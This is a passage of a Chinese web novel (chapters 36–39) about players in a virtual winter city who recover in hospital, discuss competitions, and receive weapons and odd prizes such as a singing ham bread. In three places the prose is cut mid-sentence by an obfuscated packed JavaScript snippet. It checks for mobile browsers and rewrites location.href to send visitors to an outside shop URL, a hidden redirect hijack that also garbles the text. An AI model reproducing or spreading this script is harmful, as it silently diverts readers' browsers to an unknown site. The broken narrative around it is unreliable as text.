“我没进去。”初与序半阖着眼,看上去很疲惫,“当年我住院的医院和竹翰学院是一伙的,院方为了给我们一个下马威,带我们到竹翰学院参观,恰好那天随歌的班级在操场上军训…” 她声音越说越小,眼皮重重合上,呼吸微弱。 景明垂放轻声音:“让她睡一会,到站了再叫她。” 36.月度各类比赛 永冬之城的医院里,暖气嗡嗡作响,将刺骨的寒意隔绝在外。走廊上,穿着白大褂的执行官步履匆匆。病房内,几个玩家穿着蓝白条纹的病号服,靠在床头低声交谈。 医生小心翼翼为初与序处理好肩膀上的伤口,又将血清注入血管,毒素带来的麻痹感渐渐消退。随后站起身,示意初与序跟上,将她带到吊水区域,安排在一张靠窗的椅子上,还给了一条毯子。 景明垂寸步不离地跟着她,在她身边落座,伸手替他拢了拢滑落的毯子,低声道:“困吗?再睡一会儿吧。” 初与序有气无力地点点头,冰凉的药液顺着透明的细管流入她的血管。景明垂的目光落在同伴苍白的侧脸上,思绪却飘回十二年前的善佑青少年医院。 那是一家以“博爱与治愈”闻名的精神病院,病人都是青少年。她比初与序早入院几周,至今仍记得第一次见到她的模样:瘦得连最小码病号服都穿的松松垮垮,露出的胳膊上布满淤青和伤疤。可偏偏她笑起来时很温柔,护士们有时会分她一杯热牛奶,或是水果,她总会把自己收到的分给其余病友。 后来她的伤渐渐愈合,脸颊也有了血色。可如今重逢,某种脆弱感却以另一种形式刻在她身上。 初与序和随歌在列车上提及的“竹翰学院”像一根刺扎在景明垂心里。善佑医院的医生会蹲下来抱住流泪的孩子,护士站的抽屉里永远有哄人的水果糖,那样的地方怎么可能会用暴力恐吓孩子?除非自己出院后,那家医院发生了什么事,现已面目全非。 暖气管的嗡鸣声中,景明垂凝视着初与序输液的手背上还未恢复的淤青,忽然意识到,那些她错过的年月里,有人把天堂变成了地狱。 她下意识摸出手机,打算找当年同一病区的病友问个清楚,却在点开通讯录的瞬间顿住。 熟悉的名字灰暗地沉在列表底部,每一个后面都缀着刺眼的“无信号”。永冬之城只允许玩家和玩家通讯,禁止和外界联系。景明垂扯了扯嘴角,锁屏的微光映出她紧蹙的眉。 她收起手机起身去接水,把纸杯在饮水机下。热水注入的声响在空荡的走廊里格外清晰,蒸腾的白雾模糊了她的视线。 拐角处,她瞥见江意斜倚在楼道阴影处,和医生低声谈话。他仍戴着黑框眼镜,穿着那一身淡绿色西服,打着红领带。 景明垂本不想驻足,但风声捎来的只言片语: “算上永冬之城这五年,一共七年了,早就扩散了。”江意的声音带着她从未听过的疲惫,“反正在永冬之城又死不了。” “江意,你可以试试化疗,至少可以缓解一点。”医生皱眉,“胃部癌细胞扩散的痛感是真实的,就算在这里……” 热水溅在手背上竟不觉得烫,景明垂没有继续听下去,转身离去,脚步声很轻。 回到输液区时,初与序已经醒了,半靠在椅子上,随歌和冬逢初坐在另一边,几人有一搭没一搭地聊着天。 “妄主创造永冬之城的目的是什么?”初与序问随歌。 随歌耸了耸肩,指尖无意识摩挲着竹扇:“没人知道,但我刚来永冬之城时,听年长的老玩家说,妄主原本也是个普通人,和我们差不多大。祂似乎是为了某件事,或是某个人,才创造了这个虚拟的世界。至于其他的,就没人知道了。” 初与序沉默了一会,不知道在想什么。 随歌补充道:“有人说妄主已经死了,现在是以‘神’的状态存在;也有人说祂在另一个时空,让管理员管整个永冬之城和玩家,自己每隔几年会来看一眼。”他笑了笑,语气里带着几分漫不经心,“不过都是传言罢了。” 景明垂走进屋内,坐在原本的座位上。另一边靠窗的座位坐着冬逢初,他手指划拉着永冬之城的论坛界面,屏幕的冷光映在他略显无聊的脸上。 热搜第一条赫然写着【新锐觉醒:如今共有七位新人获得技能武器】,第二条则是【霜月争锋:月度巅峰赛开启】。 他戳了戳随歌:“这个‘霜月争锋’是什么意思?” 随歌懒洋洋翘着二郎腿,闻言夸张地叹了口气:“别提了,这玩意儿折腾死人了。”他掰着手指数,“每月三场核心赛,最精彩的和最要命的都是这全服前一千的巅峰赛,每次打完前五都是那几个。” “你们看排行榜。”他凑近点了点屏幕,“第二、第三、第五、第七和第九是绑死的五人队,全住在D栋八楼和九楼。这第六名就是801那道士,这第三还是个十岁小姑娘。” 景明垂问:“他们很难打?” “不是一般的难打。”随歌垮下肩膀,“他们专门在混战时围剿落单者,下手特狠,尤其是那小姑娘。我和意哥每次都被坑得够呛。”他突然笑道,“但有意思的是,意哥已经连续二十个月稳坐榜首了。” 冬逢初的指尖停在某个玩家ID上:“那这个‘新锐觉醒’……” “哦,那是新人专属赛。”随歌打了个哈欠,“如果这个月举办的话,你们作为新人前十必须参加。至于队伍对抗赛…”他耸耸肩,“那个倒不强制,参加过团队赛的玩家,就不用参加前两场比赛。” “但每月参与玩家超过三百人,玩家越多,副本越难。我和意哥为了赚积分也报名打过一次。里面的玩家天天刷阴招,一场下来不死也残。” “一场比赛满分也是四十五吗?”初与序问道,“想要赚积分,为什么不去参加普通副本?” 话落,输液区的门被推开,江意走了进来:“因为这些比赛获得分数没有上限。” “活下来的人基础积分一千,杀一人或者救一人增加五百分,奖励物品一定有用。获胜队伍或排名考前的玩家可以拿到「永冬之城任何地点访问权限」,当然除了系统总部。”江意解释,“当年一是想赚积分,二是要进系统处理区查询关于妄主的资料,于是和随歌参加了比赛。” “你们最后查到了吗?”景明垂问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16005699|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很遗憾没有。”随歌提到这个就来气,“他妈的那狗比系统坑我们,把获胜玩家的权限修改,逼我们多次参赛。” 【警告:玩家随歌,违反永冬之城言论条例第3.7条】 【首次警告,继续违规将处以禁言或禁足惩戒】 随歌:“???” “你看,这就是没有认真看《永冬之城规则守则》的下场。”D19不知从哪里冒出来,“永冬之城禁止玩家辱骂系统,同样也禁止系统辱骂玩家。” “你来看笑话?”随歌翻了个白眼。 D19摇头:“不是,我来是通知你们,系统已经分配好三位新人的技能武器了,各位什么时候去处理区武器库领取?” “等一下,测个体温。”景明垂拿来一边的电子温度计,在初与序额前测量,“滴”的一声脆响,数字停在38度。 她皱眉,转头看向站在门口的D19:“还在烧,等体温降一点再去。” 初与序直起身:“我没……”话没说完就被冬逢初按回枕头。 “别着急。”冬逢初摸出个冰袋,用袖子裹着贴在她发热的手背上,“武器在武器库里放着不会自己跑走,你现在还没退烧。” D19靠在门框上,懒洋洋比了个“OK”的手势:“是的,你们啥时候去都行。但别像去年A区那玩家一样,拖了半年都没来拿,一问他说他忘记了。” 初与序只好老老实实待在医院输液。她沉默地想了一会,忽然抬头,开口问随歌:“队伍对抗赛是什么时候?” “我看看这个月的…”随歌翻了翻手机,“还有将近三周呢。” “我们去参赛吧。” 此话一出,所有人都转头看向初与序,她坐在窗边,苍白的脸颊映着永冬之城永不消散的雪光,睫毛在眼下投下一小片阴影。 “不是说,活下来的奖品一定是有用的吗?”她继续说,“我觉得可以试试参赛,这样另外两场比赛也不用参加。” 病房里安静了几秒。 江意靠在墙边,双手插在口袋里,依旧冷着脸。他沉默了一会,目光在初与序脸上停留片刻,又看向其他人:景明垂站在初与序身边,指腹摩擦着纸杯;冬逢初捏着手机的手微微收紧;随歌面上依旧挂着漫不经心的笑。 “行。”他开口,“那就去参赛。”他看了看另外三人,“你们呢?” 三人对视一眼,不用交流也明白了对方的意思。冬逢初温声道:“去打吧,我们也有这个兴趣。” “那就这么定了。”随歌合上竹扇,笑眯眯道,“报名下下周截止,我去查查这届对抗赛的规则,具体到时候商量。” D19看着这一幕,有点意外。要知道,以往有人想邀请江意和随歌暂时组队参加团队赛,无论他们给出多么高的积分和道具,两人都闭门不见的。结果这一次,初与序一句话,就把队伍里四个人叫去参赛了,要是那些老玩家知道,估计得开始怀疑人生加自闭了。 37.系统处理区 次日黄昏,永冬之城的天空呈现出一种暗橘色。初与序的烧终于退了,但还是给人一种有气无力的感觉。五人穿过被积雪压低的松林小道,来到了系统处理区大厦前。 系统处理区大厦灯火通明,外墙上密布着细小的蓝色光纹。形形色色的玩家从旋转门进出,有人带着战利品昂首阔步,也有人拖着残缺的武器踉跄而出。 “听说上个月有队伍在这里兑换了‘记忆透析’服务。”随歌仰头望着大厦顶端闪烁的红色全息投影,上面是某个排行榜,“结果出来时全员失忆了。” 江意走在最前面,他侧头小声提醒:“进去了别乱说话。” 步入大厦,映入眼帘的是宽敞的大堂,吊灯洒下温暖柔和的光芒,照亮了光滑如镜的大理石地面,也照亮了地面上用不同语言重复的警告标语: 【所有馈赠皆有价码】 【所有记忆皆可典当】 【所有灵魂终将锈蚀】 大堂中央有一座精致的接待台,几位执行官正无声地处理着悬浮屏上的数据。D19也在其中,背对着五人,在一本厚册子上写着什么。江意走过去,低声道:“D19。” D19听到声音,放下笔,转身看向来人:“登记。” 初与序注意到墙角闪烁着红光的球形监控器,这里的每一个角落都被安装了摄像头,所有玩家的一举一动都被监视着。 D19指尖在空中一划,一道半透明的悬浮面板在五人面前展开,泛着幽蓝色的冷光。 “手放上去,签名。”他的语气比平时严肃不少,不带任何感情。 初与序第一个上前,将掌心轻轻贴上光幕,面板感应到她的生物信息,立刻浮现出一行闪烁的文字: 【玩家:初与序|状态:健康(虚弱)|权限等级:A】 她指尖轻划,在虚空中签下自己的名字,字迹如细雪般消散在数据流中。 意料之中的,三位新人的权限等级都是A,在新人中算最高。 轮到随歌时,面板亮起一道淡金色的光芒: 【玩家:随歌|状态:无异常|权限等级:S】 “哦?”随歌挑了挑眉,“又升级了?”他漫不经心签完名,回头冲几个队友笑嘻嘻眨了眨眼睛。 最后是江意,他的手刚贴上光幕,整个面板骤然转为暗红色,数据流疯狂滚动: 【警告:检测到特殊权限个体】 【玩家:江意|状态:异常|权限等级:SSS】 大堂里的空气仿佛凝固了一瞬,几位执行官不约而同站直了身体,其中一位甚至警惕地按住了腰间的武器手枪。 “为什么执行官们看上去很担心?”景明垂不解,低声询问。 “因为在永冬之城,权限等级SSS的玩家,不仅权限高,危险程度也是最高的。”随歌像是早已习惯了这场景,“两年前就发生过一件大事。” “一个同等级的玩家利用权限差点炸了系统办事处,也是D栋的,上次和你们提过的八楼中英混血法医。虽然后来系统把他的权限降级处理了,但‘一朝被蛇咬,十年怕井绳’嘛。” 江意神色如常地签完名,收回手时轻轻咳嗽了一声。 D19沉默了两秒,才开口:“权限确认完毕。”他转身走向电梯,按下按钮。 电梯门无声滑开,五人跟着他踏入其中。在门合上的瞬间,透过即将闭合的缝隙,他们看见所有执行官依旧保持着僵立的姿势。 门完全闭合的瞬间,D19整个人明显放松下来。他抬手扯松领带:“总算能正常说话了,每次在其余执行官身边都得演那副死人脸,累死我了。” 初与序微微睁大眼,显然没想到D19是演的。D19注意到她的表情,眨了眨眼:“怎么?没见过会吐槽的执行官?” 站在最后的随歌凑到景明垂身边,小声嘀咕:“景明垂,我总觉得D19的性格像一个人。” “像谁?”景明垂问。 “冬逢初啊。”随歌朝站在前方的冬逢初抬了抬下巴。 景明垂认真地想了想,意识到似乎冬逢初和D19的性格确实比较像。她看向随歌:“永冬之城的执行官是管理员创造出来的?” “没错。”随歌点点头,“据说,永冬之城二十六位管理员,各自以A到Z的英文字母为姓氏,各自创造一支执行官队伍。姓氏A的管理员创造A队,姓氏B的管理员创造B队。” “但D19是个例外,按照规则,他本该由姓氏为D的管理员创造,属于D组。可从我和意哥五年前进入永冬之城起,就有传言说,整个D组,十八位执行官,都是妄主的手笔。” 随歌摊开手耸耸肩:“不过没人知道妄主姓什么,这只是个传闻。” 前方,D19靠在电梯墙壁上:“系统为三位新玩家分配的武器已经在武器库里放好了,如果不喜欢,也可以换,只有两次机会。” 话落,电梯门无声划开,迎接他们的是一片深不见底的黑暗。D19向前迈了一步,鞋面在大理石地面上敲出清脆的声响。 “欢迎来到永冬之城的武器库。”他温声说,随着他拍手的动作,仓库顶部的照明系统如同被唤醒般次第亮起。 先是远处几盏幽蓝的引导灯,接着是货架上流动的银白色光带,最后是整个空间骤然绽放的冷白光瀑。 初与序抬眼,愣了一下。 呈现在眼前的是一座堪比图书馆的武器圣殿。高耸的金属货架向远处延伸,每个架子上都整齐陈列着闪着冷光的兵器。左侧墙面上悬挂着数百把造型各异的近战武器,从纤薄如蝉翼的匕首到足有门板宽的巨剑;右侧是精密排列的枪械矩阵,黑洞洞的枪管在灯光下泛着危险的幽光。 “别看右边。”D19提醒,“那边是给执行官的武器,永冬之城禁止玩家使用热武器。” 他领着五人穿过主展区,拐进一条标着【特殊实验装备】的走廊,这里的武器画风突变。 “这是…巨型铅笔?”初与序看着架子上那只足有两米长的黄黑条纹铅笔,笔尖还被削得异常锋利。 “没错,‘知识就是力量’。”D19轻轻拍了拍笔杆,“击中目标时会喷出墨汁,附带致盲效果。”他回头看向初与序,“你想要吗?” 初与序连忙摇头:“非常感谢,但我不想要。” 旁边架子上挂着一排闪闪发亮的…打蛋器,每个金属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16013240|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈边缘都磨成了锯齿状。D19向几人解释:“这个每分钟旋转1200次,可以把丧失脑浆打成奶油。” 随歌扶额无语:“设计师是不是熬夜吃泡面时想的创意?” “猜对了。”D19指向角落里一个泡面桶造型的装置,“拉开盖子时会喷射高温蜡油,但真的很香。” 随歌:“……” 正当众人无语时,冬逢初突然看向某个抽屉里的粉色兔子拖鞋:“这该不会也是…” “这个我们称作‘兔子蹬鹰’。”D19笑眯眯地拿出拖鞋,“给你们演示一下,踢中目标会触发——” “等等!”所有人异口同声地打断他,纷纷后退一步。 D19无奈只好把拖鞋放回去:“你们会后悔的,上个月比赛有人用这个踢翻了三个高层玩家…” 冬逢初转头看向江意:“…意哥,你确定他是带我们领取武器的,而不是来杀我们的?” “……”江意面无表情。 穿过几排嗡嗡作响的自动货架后,他们来到一个圆形平台上。一根水晶柱从地面升起,柱子台面上悬浮着一件武器,在特殊力场中缓缓旋转。 “系统根据你们的战斗数据做了最终调整。”D19恢复了工作状态,走到第一根水晶柱前,“这是景明垂的。” 景明垂走向属于自己的水晶柱,柱上悬浮的并非传统意义上的武器,而是三缕流金般的光痕。那是用特殊合金锻造的琵琶弦,此刻在轻盈游走。 当她的指尖触碰到水晶表面,琴弦立刻感应到主人般雀跃起来,化作三道金虹穿透屏障。它们缠绕上景明垂的手腕,在接触到她皮肤的瞬间褪去锋芒,温顺地编织成一条细链,流淌在雪白的腕间。 “认主程序完成得比预期快。”D19笑道,“看来它们真的很喜欢你。” 景明垂指尖轻轻点了一下琴弦,它们立刻响应着变化形态。时而缠绕在她发间成为一支素雅的簪子,时而垂落颈间化作项链。当一缕发丝不小心拂过弦身时,发丝无声断落。 “对外是斩铁如泥的凶器。”D19调试着控制台,“但对你和你信任的人就只是琴弦,你可以试一试。” 景明垂目光微动,指尖轻挑一根琴弦便从她腕间游出,在空中划出一道优雅的弧线。她看向初与序,后者会意地伸出手。 琴弦在接近初与序指尖的瞬间突然放缓了速度,像一只试探的小动物,轻轻缠绕上她的手指。初与序发现,这看似锋利的琴弦此刻柔软如绸带,甚至带着温暖的体温。 “它认可你了。”D19的声音带着几分欣慰,他伸出手,“而对我……” 琴弦突然绷直,在空中发出危险的嗡鸣如同一柄出鞘的细剑直插向他的眼睛。D19立刻收回手:“好吧,看来我还需要努力。” 景明垂罕见地笑了一小下,琴弦立刻温顺地游回她身边,亲昵地蹭了蹭她的脸颊,又在她指间缠绕流转,像在演奏一首无声的乐曲。 江意若有所思地看着这一幕,而随歌低头摆弄着自己写着“老子好帅”四个大字的竹扇。 “第二个是冬逢初。”D19笑了笑。 第二根水晶柱缓缓升起,寒气四溢。 38.火腿面包 冬逢初的水晶柱里,悬浮着一柄通体冰蓝的长剑。 剑身修长优雅,宛如一泓极地寒泉,在灯光下流转着冷冷清辉。当他靠近时,剑身微微震颤,发出清越的嗡鸣,仿佛在呼唤主人。 D19的眼睛里闪过一丝赞许:“这把剑会根据使用者的体温自动调节锋利度,你周围的气温越低,剑越锋利。” 冬逢初伸手握住剑柄的瞬间,剑格处雕刻的雪花纹路突然亮起幽蓝微光。他这才注意到,沿着剑脊蜿蜒着一串精致的勿忘我花纹,这些细小的蓝色花朵在光线在若隐若现,像是被冰封在剑身深处的记忆。 “花纹?”冬逢初的指尖轻抚过花瓣纹路。 “是锻造时自然形成的。”D19调出全息投降,“系统显示,这把剑的原材料混入了某个重要记忆体的数据碎片。”他顿了顿,“不过具体是谁的记忆,就查不到了。” 冬逢初忽然感到一阵莫名的熟悉,当他翻转剑身时,几片真正的雪花竟从剑尖飘落,在触及地面前化作星芒消散。剑柄贴合他掌心的弧度恰到好处。 “试试看?第一下挥出时应该会出现花丛。”D19指了指不远处的测试区。 冬逢初随手一挥,空气中顿时凝结出数十朵冰晶构成的勿忘我,在灯光下折射出梦幻的蓝色光晕。那些花朵悬浮片刻后,突然全部转向初与序的方向,如同在无声诉说某个被冰雪尘封的故事。 D19看了看初与序:“嘶…有点奇怪。” 他伸手截住一朵飘过的勿忘我冰花:“系统运行几千年来,这把剑的冰晶轨迹从未发生过偏转。按理来说,勿忘我应该转向武器的主人,而不是初与序。” 初与序向前一步,那些悬浮的冰晶花朵立刻向她聚拢,在她发梢周围形成一圈闪烁的星环。景明垂忽然想到,当年在善佑青少年医院,初与序的病号服口袋里每天都会出现勿忘我。她问过初与序是什么时候出现的,初与序说不知道。 “有意思。”江意不知何时站在冬逢初身后,他苍白的指尖擦过剑缝,一滴血珠还未渗出就被寒气凝成红宝石般的冰晶,“看来这把剑认的不只是主人。” 冰晶花朵在系统通风的气流中旋转上升,最终在天花板上拼凑出一个模糊的图案:那像是某个医院的轮廓,又像是被积雪压弯的勿忘我花枝。 冬逢初握剑的手微微发抖,剑身上的花纹正散发着前所未有的温暖蓝光。 他像是想知道什么般,没有着急把剑收入剑鞘,放回面板。 第三根水晶柱缓缓升起,当初与序的武器显现时,整个武器库陷入了一种奇异的寂静。 那是一把冰蓝色的短刀,刀刃如一片月光穿透的薄冰,刀柄上缠绕着银白色的雪花纹路。而最令人震惊的是,在靠近护手的位置,赫然刻着一朵精致的勿忘我,与冬逢初长剑上的花纹如初一撤,甚至连花瓣的数量都分毫不差。 初与序:“???” 冬逢初:“???” D19望着两把武器,沉默片刻,试图解释:“啊这个,系统记录显示这两件武器是同一批次锻造的,使用完全相同的材料,所以…” 江意若有所思地摸着下巴,忽然开口:“系统锻造武器时,会读取使用者的记忆数据吗?” “理论上不会,除非…”D19顿了顿,不自然道,“除非这些记忆已经深深刻在灵魂里了,无论玩家记不记得。” 初与序没有说话,她伸出手,握住短刀的瞬间,剑身上的勿忘我花纹突然绽放出柔和的蓝光。与此同时,冬逢初手中的长剑也产生了共鸣般的震动,两把武器的光芒在空中交织,投射出一段模糊的全息影像: 那似乎是一间病房的角落,窗台上摆着一盆盛开的勿忘我,窗外飘着雪。 全息投影关闭,五人加一机器人沉默许久。D19挥了挥手:“如果是很重要的记忆,日后一定会想起来的。你们俩的武器是双生武器,容易互相认主,注意别弄混。” 他转身走向大厅中央那座看似普通的金属方桌,当他站定时,桌面上方自动划出一个精确的正方形。 “差点忘了这个。”他从制服口袋里掏出一张泛着冷光的黑卡,那是只有高阶执行官才拥有的权限卡片,卡片边缘蚀刻着细密的电路纹路,在接触桌面的瞬间,那些纹路突然亮起幽蓝色的光芒。 桌面中央的金属板无声滑开,升起一座精密的机械台。台面浮现出三个全息投影的抽奖轮盘,每个轮盘都由流动的数据链构成,边缘闪烁着不同颜色的符文。 “系统规定,新人玩家获得武器后可以抽取一次特殊奖励。”D19的手警惕地悬停在紧急停止按钮上方,想是怕发生什么,“从记忆碎片到稀有装备,或者各种奇葩物品,什么都有可能。” “根据刚刚的顺序,景明垂先来吧。”他扫过三人,背后的轮盘开始加速旋转。 景明垂面无表情走上前,指尖轻轻地点在中央的轮盘上。她运气一向不好,也没指望能抽到什么东西。 数据量立刻如烟花般炸开,轮盘疯狂旋转,最终在一阵刺目的金光中缓缓停下。 【叮!恭喜获得:巧克力味牛奶x12箱(保质期:永久)】 随歌顿时哀嚎一声,捂住胸口:“为什么不是草莓味?!系统你是不是故意的?!”他转头可怜巴巴地看向D19,“能换吗?” D19眼底闪过一丝无奈的笑意:“规则就是规则。”他打了个响指,角落里的传送带送来一个印着巧克力图案的金属箱。 景明垂掀开箱盖,看向成分表。意料之中的,配料表第三行赫然写着【记忆稳定剂0.5%】。果然,这不是普通的饮料,是系统特制的精神镇定剂。 “下一位。”D19的声音依然平静,但背后轮盘的转速似乎悄悄加快了几分。 冬逢初的指尖刚触碰到轮盘时,整个机械台突然发出前所未有的嗡鸣。数据流如暴风雪般狂乱旋转,最终在一声清越的电子音中定格: 【叮!稀有奖励:心念合一 耳骨夹(SS级精神链接装备)】 一对耳骨夹从机械台中缓缓升起,悬浮在半空中。一枚是深邃的暗夜黑色,边缘流淌着如极光般的冰蓝纹路;另一枚则是皎洁的银色,细看会发现表面有与冬逢初长剑上相同的勿忘我花纹。 “这…”D19难得语塞,他快速调出全息说明,“系统记载,这对装备上一次被抽取还是在十八年前。” “佩戴者将建立永久性心灵连接,不受距离限制,甚至可以共享视觉与记忆。” 随歌好奇道:“这不就等于开挂的对内语音?” “另一个…”冬逢初刚开口,D19就指向初与序:“建议给她。” “第一,你们的武器是系统认证的‘双生武装’。第二…”他忽然切换成私人通讯频道,只有他们六人能听见的声音在空气中振动:“你们的记忆波动频率完全吻合。” 机械台突然投射出全息演示:当黑色与银色耳骨夹同时亮起时,两把冰蓝武器的花纹竟在空气中交织成完整的雪花图腾。 “你们的武器共鸣值达到98%,这已经超出正常战斗搭档范围了。”江意指着演示画面中跳动的数据。 冬逢初和初与序对视一眼,取下黑色耳骨夹,金属在触及他耳廓的瞬间自动贴合。当初与序接过银色那枚时,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16013241|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的武器同时发出清越的嗡鸣。 “要现在测试吗?”D19问。 初与序戴上耳骨夹的刹那,冬逢初的瞳孔骤然收缩。因为他清晰地“听”到了一个不属于自己的心跳,以及某个深埋在记忆深处的、满是消毒水气味的童年病房画面。 但再细想,就回忆不出任何。 “暂时想不起是正常的。”随歌安慰道,“还不如好好喝一盒巧克力牛奶。” 初与序看向他,慢吞吞道:“你不是喜欢喝草莓牛奶吗?” “……别提这种伤心事好吗?现在不是只有巧克力牛奶了吗?” 在随歌的哀嚎声中,初与序走向机械台,当她的指尖触碰轮盘时,整个机械台突然发出不合常理的“咔嗒”声,像是触发了某个隐藏程序。轮盘指针疯狂跳动,最后竟停在一个完全空白的格子上: 【ERROR:奖品数据缺失】 D19的面板忽然闪烁起警报红光,但下一秒,机械台内部传来“嘭”的一声闷响,从出货口弹出一个……正在哼歌的油纸包裹。 “~睡吧睡吧我亲爱的宝贝~”油纸包裹扭动着唱起摇篮曲,散发出浓郁的火腿香气。 初与序沉默片刻,伸手解开绳子时,一块金黄色的火腿面包突然从包装里“坐”了起来,用烤得酥脆的边角当手臂,朝众人挥了挥。 “早上好!我是魔法面包!”面包表皮上浮现出卡通笑脸,“除了会唱十首童谣,还能预警毒物哦~”说着它突然转向江意:“检测到胃部异常!建议立即就医!” 江意:“……” 随歌疯狂憋笑,D19的手指疯狂敲击虚拟键盘:“这不是在奖品数据库里…等等,系统日志显示这是五年前某位管理员私自上传的娱乐模块……” 面包突然跳上初与序的肩膀,用芝麻粒当眼睛朝她wink了一下:“其实我的真正功能很厉害哦。”它突然压低声线,“能吃掉噩梦。”这句话只有初与序听见了,与此同时,她耳骨夹上的勿忘我花纹微微发烫。 “喂火腿面包。”随歌伸手戳了戳面包,“你唱一首童谣听听?” “没问题!”火腿面包骄傲地清了清嗓子,深吸一口气,然后扯着嗓子嚎了起来: “大兔子病了!二兔子瞧!三兔子买药!四兔子熬~~~” 面包快乐地甩着火腿丁,完全没注意到随歌已经展开了扇子,冬逢初的剑刃开始结霜。 “五兔子死了!六兔子抬!七兔子挖坑!八兔子埋~~~” 就在面包正豪迈地吼道“八兔子埋”时,初与序一把掐住它鼓胀的面包腰,冷冷道:“再唱,就把你吃了。” 面包的芝麻眼睛瞬间瞪大,歌声戛然而止。它僵硬地转动酥脆的“脸”,发现不仅初与序眼神危险,其余几人都幽幽盯着它,尤其是随歌,竹扇已经无声抵在了它的“脖子”上(如果面包有脖子的话)。 “……” 面包沉默了两秒,然后“啪嗒”一声,直接躺平装死,仿佛在表达“我只是一块普通的面包,刚刚什么都没发生”。 “这么凶干什么?”D19不解,戳了戳面包,“唱得挺豪迈的。” 初与序微笑:“你猜我们上一个副本是什么?” D19静了几秒,选择闭嘴。 “这玩意我带回去?”初与序略带嫌弃地盯着自己肩膀上的火腿面包,“每天听它唱歌?” “这是你自己抽到的,已经是你的了。”江意无奈道,“你也可以把它吃了,如果你忍心的话。” 就在面包打算哭嚎的前一秒,它听到初与序叹了口气:“算了,带回家养着吧。” 39.记忆沉眠于雪 夜色已深,永冬之城寒风刺骨。五人走出系统大厦回到D区时,那里已经彻底苏醒。霓虹灯在街道上投下斑斓的光晕,玩家三三两两聚在D区周围,喧嚣声混着虚拟广告牌电子音,竟有种诡异的生气。 随歌一把勾住江意的肩膀,笑嘻嘻往人群里拖:“意哥!走走走,去听八卦!” 江意还没来得及拒绝,就被他强行拖走,只留下一声无奈的叹息。 “我先回去休息了。”景明垂揉了揉眉心,又看了看初与序肩膀上的面包,“…带回家也好,无聊时能找它说话。” 初与序点了点头,目送景明垂转身融入黑暗。 “你不去唠嗑?”面包扭了扭身子,“我听说D区今晚有玩家开赌局,赌七楼和八楼的五人队伍下一个副本是《雪葬教堂》还是《剧院》。” 初与序没说话,她站在路灯下,趁景明垂离开后,她从口袋里掏出一包烟,点燃烟头,猩红的火星在冷雾中忽明忽暗。 火腿面包坐在她肩上,芝麻眼睛亮晶晶的。它不死心,又凑近一点:“或者你更喜欢安静?那我可以给你唱歌!” “闭嘴。”初与序无奈道,“你唱歌跑调。” 冬逢初站在几步之外的雪地里,没说话,也没走,静静看着初与序抽烟。 她的姿态很特别,不像老烟枪那种娴熟的吞云吐雾。细长的烟夹在她苍白的指间,更像是一件艺术品,而非消耗品。 乌黑的长发垂落在她肩头,睫毛低垂,在眼下投下一小片阴影,让人看不清眼神。但那种若有若无的悲伤,却像雾气一样从她周身弥漫开,连飘散的烟都染上愁绪。 冬逢初想,初与序这么好看一个姑娘,应该开心才对。 面包坐在她肩膀上,火腿丁晃啊晃,嘴巴一刻不停:“你知道吗?我以前是个普通面包,直到有一天被永冬之城的管理员注入了灵魂!他说:‘去吧,给玩家们带来快乐!’然后我就开始唱歌了!虽然他们后来嫌我吵,把我塞进了抽奖池……” 初与序没搭理它,她觉得这个面包和随歌一定聊得来。 面包继续喋喋不休:“其实我还会预报天气!比如今晚会下雪!超大!还有你的耳骨夹真好看,和那边那个帅哥是一对的吧?” 初与序手指一顿,烟灰簌簌落下。 她侧眸看向面包,换了个话题:“你之前说,你能吃掉噩梦?” 面包又扭了扭身子,像是很骄傲:“不是‘吃’掉,是‘消化’掉。” “噩梦么,不过是记忆的残渣,被恐惧泡发的碎片。”它拍了拍自己鼓胀的肚皮,“而我,是‘快乐模块’的产物,专门分解那些不太愉快的‘数据’。” 远处传来随歌的大笑,似乎听到了什么好玩的八卦。冬逢初仍站在原地玩手机,雪开始下了,落在他肩头,积了薄薄一层。 “你看,开始下雪了。”面包瞄了眼冬逢初,又瞄回初与序,“不对跑题了,噩梦…比如你总梦见的雪夜,走廊尽头的病房?还有…” 初与序伸手就要摁住它。 面包立刻举起“手”投降:“不说了不说了!但如果你愿意的话,”它突然从肚子里掏出一粒金色的面包屑,“睡前吃了这个,我就能进去‘打扫’啦!” 初与序盯着那粒面包屑:“这是从你自己身上扒下来的?” “当然啦。”面包的芝麻眼睛弯成月牙,“你不用担心,我的面包屑会自动生长的。除非你把我一整个吃掉,我是不会消失的!” “不过你睡觉时得做点美梦,不然我会饿!” 夜风卷着雪粒子掠过,冬逢初的耳骨夹忽然传来一丝细微的波动,像是某段被压抑的呼吸,又像一声遥远的叹息。他伸手按住耳骨夹,抬眼看了看初与序。 